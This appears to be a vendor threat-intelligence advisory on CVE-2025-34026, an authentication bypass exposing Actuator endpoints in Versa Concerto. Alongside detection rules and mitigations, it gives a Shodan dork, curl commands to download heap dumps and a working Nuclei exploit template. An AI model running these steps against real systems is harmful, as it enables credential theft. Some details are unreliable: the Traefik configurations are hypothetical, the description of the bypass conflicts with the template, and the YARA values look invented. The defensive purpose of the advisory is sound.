CVE-2025-34026

Executive Summary

CVE-2025-34026 is a critical authentication bypass vulnerability in the Versa Concerto SD-WAN orchestration platform. The flaw resides in the Traefik reverse proxy configuration, which improperly handles the X-Real-Ip header. By omitting this header, an unauthenticated attacker can bypass authentication and access sensitive Spring Boot Actuator endpoints, including /portalapi/actuator. This grants access to heap dumps, trace logs, and other internal system information, potentially leading to further exploitation. The vulnerability affects Concerto versions 12.1.2 through 12.2.0, with additional versions possibly vulnerable. A public proof-of-concept (PoC) and Nuclei template are available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not directly related to a software supply chain package (NPM, PyPI, Go, Ruby). However, the affected component is the Traefik reverse proxy, which is a third-party open-source software integrated into the Versa Concerto platform. The improper configuration of Traefik's header handling introduces the security flaw. Organizations should verify the integrity and configuration of all third-party components in their SD-WAN stack.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public PoC exists. The EPSS score of 0.71578 (98.74th percentile) indicates a high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability stems from a misconfiguration in the Traefik reverse proxy that fronts the Versa Concerto application. Traefik is configured to use the X-Real-Ip header for authentication decisions, likely to support IP-based allowlisting or session validation. However, the authentication logic fails to properly handle requests where this header is absent.

Attack Flow:

1. An attacker sends an HTTP request to the /portalapi/actuator endpoint without the X-Real-Ip header.
2. The Traefik proxy, expecting the header, does not enforce authentication, allowing the request to pass through to the backend Spring Boot application.
3. The Spring Boot Actuator endpoints (e.g., /heapdump, /trace, /env) are exposed without authentication, leaking sensitive system information.

Root Cause: The authentication middleware in Traefik likely checks for the presence of the X-Real-Ip header and, if missing, defaults to an unauthenticated state. This is a classic example of improper input validation (CWE-288: Authentication Bypass Using an Alternate Path or Channel).

Impact: An attacker can:

• Download heap dumps containing sensitive data (e.g., credentials, tokens, session data).
• Access trace logs revealing internal application behavior.
• Enumerate environment properties, potentially exposing database credentials or API keys.
• Use this information to pivot to more severe attacks, such as remote code execution (RCE) via other endpoints.

Vulnerable vs. Patched Code

Vulnerable Configuration (Traefik):

# Hypothetical vulnerable Traefik middleware
http:
  middlewares:
    auth-middleware:
      headers:
        customRequestHeaders:
          X-Real-Ip: "{req.Header.X-Real-Ip}"
      # Missing: validation that X-Real-Ip is present and authenticated

Patched Configuration (Expected):

# Patched Traefik middleware with proper authentication
http:
  middlewares:
    auth-middleware:
      headers:
        customRequestHeaders:
          X-Real-Ip: "{req.Header.X-Real-Ip}"
      # Added: authentication check regardless of header presence
      auth:
        basic:
          users:
            - "admin:$2y$10$..."

Note: The exact patched code is not publicly available. The remediation involves ensuring that authentication is enforced for all Actuator endpoints, irrespective of the X-Real-Ip header.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Versa Concerto 12.1.2 to 12.2.0.
• Network access to the /portalapi/actuator endpoint.

Exploitation Steps:

1. Identify Target: Use Shodan with the dork http.favicon.hash:-534530225 to find vulnerable instances.
2. Verify Vulnerability: Send a GET request to /portalapi/actuator without the X-Real-Ip header.

   curl -v http://target.com/portalapi/actuator
   

3. Access Sensitive Endpoints: If the response includes heapdump in the body and EECP-CSRF-TOKEN in the header, the target is vulnerable.
4. Download Heap Dump:

   curl -o heapdump.bin http://target.com/portalapi/actuator/heapdump
   

5. Extract Credentials: Use tools like jhat or Eclipse Memory Analyzer to analyze the heap dump for credentials and secrets.

Nuclei Template (Provided):

id: CVE-2025-34026

info:
  name: Versa Concerto Actuator Endpoint - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
  impact: |
    Attackers can bypass authentication by omitting the X-Real-Ip header to access restricted Spring Boot Actuator endpoints, potentially exposing sensitive system information and functionality.
  remediation: |
    Upgrade to the latest Versa Concerto version that properly validates authentication for all Actuator endpoints regardless of header presence.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e
    - https://www.cve.org/CVERecord?id=CVE-2025-34026
  classification:
    cve-id: CVE-2025-34026
    cwe-id: CWE-288
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.71578
    epss-percentile: 0.98741
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln,kev

http:
  - raw:
      - |
        GET /portalapi/actuator HTTP/1.1
        Host: {{Hostname}}
        Connection: X-Real-Ip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - heapdump

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN

Blue Team (Defense & Detection)

Detection:

• Monitor for HTTP requests to /portalapi/actuator or any /actuator/* path without the X-Real-Ip header.
• Alert on responses containing heapdump, trace, or env in the body.
• Use the provided YARA and Sigma rules for host-based detection.

Mitigation:

• Immediately upgrade to a patched version of Versa Concerto (once available).
• As a workaround, configure the reverse proxy (e.g., Nginx, HAProxy) in front of Traefik to block requests to /portalapi/actuator unless authenticated.
• Restrict network access to the Concerto management interface using firewall rules.
• Enable logging and monitoring for all Actuator endpoint access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /portalapi/actuator without the X-Real-Ip header.
• Responses containing heapdump, trace, or env in the body.
• Unusual outbound connections from the Concerto server (e.g., data exfiltration).

Host IOCs:

• Presence of heap dump files (e.g., heapdump.bin) in the application directory.
• Unauthorized access to /tmp or application logs.
• Modified Traefik configuration files.

File IOCs:

• heapdump.bin (SHA256: varies)
• trace.log (SHA256: varies)

Detection Engineering

YARA Rule

rule CVE_2025_34026_Versa_Concerto_Auth_Bypass {
    meta:
        description = "Detects heap dump files from Versa Concerto exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34026"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $heapdump_magic = { 4A 41 56 41 20 48 45 41 50 20 44 55 4D 50 } // "JAVA HEAP DUMP"
        $actuator_path = "/portalapi/actuator"
        $x_real_ip = "X-Real-Ip"
    condition:
        $heapdump_magic at 0 or ($actuator_path and not $x_real_ip)
}

Sigma Rule

title: Versa Concerto Actuator Authentication Bypass
id: 8c5e3f2a-1b7d-4e9f-8c3a-6d2b1e0f4a7c
status: experimental
description: Detects HTTP requests to Versa Concerto Actuator endpoints without the X-Real-Ip header
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34026
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem:
            - "/portalapi/actuator"
            - "/portalapi/actuator/*"
        cs(User-Agent): "*"
    filter:
        cs(Header): "X-Real-Ip"
    condition: selection and not filter
falsepositives:
    - Legitimate administrative access with proper header
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.34026

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34026 Versa Concerto Actuator Auth Bypass"; flow:to_server; content:"GET"; http_method; content:"/portalapi/actuator"; http_uri; pcre:"/^\/portalapi\/actuator/"; content:!"X-Real-Ip"; http_header_names; sid:1000001; rev:1; reference:cve,2025-34026; priority:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the official patch from Versa Networks as soon as it is released. Monitor the Versa Security Portal for updates.
2. Workaround: Configure an external reverse proxy (e.g., Nginx) to block access to /portalapi/actuator unless authenticated.

   location /portalapi/actuator {
       deny all;
       return 403;
   }
   

3. Network Segmentation: Restrict access to the Concerto management interface to trusted IP addresses only.
4. Monitor Logs: Enable detailed logging for all Actuator endpoints and review for suspicious activity.

Long-term Measures:

• Implement a Web Application Firewall (WAF) to filter malicious requests.
• Conduct regular security audits of third-party components (e.g., Traefik).
• Enforce the principle of least privilege for all administrative interfaces.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.